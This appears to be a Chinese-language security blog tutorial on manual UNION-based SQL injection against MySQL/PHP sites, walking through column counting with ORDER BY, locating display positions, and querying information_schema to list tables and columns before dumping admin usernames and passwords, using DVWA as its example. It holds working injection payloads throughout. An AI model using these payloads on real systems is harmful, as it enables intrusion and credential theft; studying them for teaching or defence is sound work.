MySQL+PHP手工联合查询注入

学习原理,不要专注于工具

1.查询字段长度

1
2
order by 6
#直到最后一个不满足为止
1
2
3
4
5
6
7
#注意:
如果order by 1 报错
1.禁用了order by函数
2.与其他函数冲突top
3.语句中已经存在order by
解决方案:
order by 1 -- # -- 表示注释

2.爆出显位数字

1
2
3
4
5
union select 1,2,3,4,5,6
#如果未爆错则在"id=?"后面加一个and 0 或者?前面加一个-,让他爆出显位数字(假设为 2 和 5 )
eg:php?id=-5 或者 php?id=5 and 0
# " - "和" and 0 "都是为了让页面报错

3.查出数据库的名字,将显位数字更改

1
2
3
4
version() --- 看数据库的版本
database() --- 查数据库名称
user() --- 查当前数据库用户的权限
@@version_compile_os --- 查看操作系统版本
1
2
UNION SELECT 1,database(),3,4,5,6
#查看数据库的名称

4.查表的名字,将数据库名转换为16进制(小葵)

1
2
3
UNION SELECT 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=0x64767761
#最后的16进制是数据库的名字(这里是dvwa)
group_concat 表示爆出该数据库中所有的表的名字

5.查列的名字,将表的名字转换为16进制

1
2
3
UNION SELECT 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_name=0x61646D696E
#最后的16进制是表的名字(这里是admin)
前面为列名,后面是表名

6.查列的内容

1
2
UNION SELECT 1,adminName,3,4,adminPwd,6 from admin
# adminName和adminPwd为查出来的列名,最后的admin为表名

Powered by Hexo and Hexo-theme-hiker

Copyright © 2017 - 2019 Damit5's Blog All Rights Reserved.

UV : | PV :